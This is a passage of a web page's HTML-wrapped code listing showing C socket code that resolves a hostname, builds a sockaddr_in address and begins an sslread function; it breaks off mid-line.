<DIV class="line number194 index193 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;</DIV>

<DIV class="line number195 index194 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;if ((he=gethostbyname(hostname)) == NULL) {</DIV>

<DIV class="line number196 index195 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;printf("Hostname cannot be resolved\n");</DIV>

<DIV class="line number197 index196 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number198 index197 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;}</DIV>

<DIV class="line number199 index198 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;</DIV>

<DIV class="line number200 index199 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;servercopy = malloc(sizeof(struct sockaddr_in));</DIV>

<DIV class="line number201 index200 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;if (!servercopy) {</DIV>

<DIV class="line number202 index201 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;printf("malloc error (1)\n");</DIV>

<DIV class="line number203 index202 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number204 index203 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;}</DIV>

<DIV class="line number205 index204 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;memset(&amp;server, '\0', sizeof(struct sockaddr_in));</DIV>

<DIV class="line number206 index205 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;memcpy(&amp;server.sin_addr, he-&gt;h_addr_list[0],&nbsp; he-&gt;h_length);</DIV>

<DIV class="line number207 index206 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;server.sin_family = AF_INET;</DIV>

<DIV class="line number208 index207 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;server.sin_port = htons(port);</DIV>

<DIV class="line number209 index208 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;memcpy(servercopy, &amp;server, sizeof(struct sockaddr_in));</DIV>

<DIV class="line number210 index209 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;return servercopy;</DIV>

<DIV class="line number211 index210 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">}</DIV>

<DIV class="line number212 index211 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number213 index212 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">char *sslread(connection *c)</DIV>

<DIV class="line number214 index213 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">{</DIV>

<DIV class="line number215 index214 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char *rc = NULL;</DIV>

<DIV class="line number216 index215 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;int received, count = 0, count2=0;</DIV>

<DIV class="line number217 index216 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char ch;</DIV>

<DIV class="line number218 index217 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; 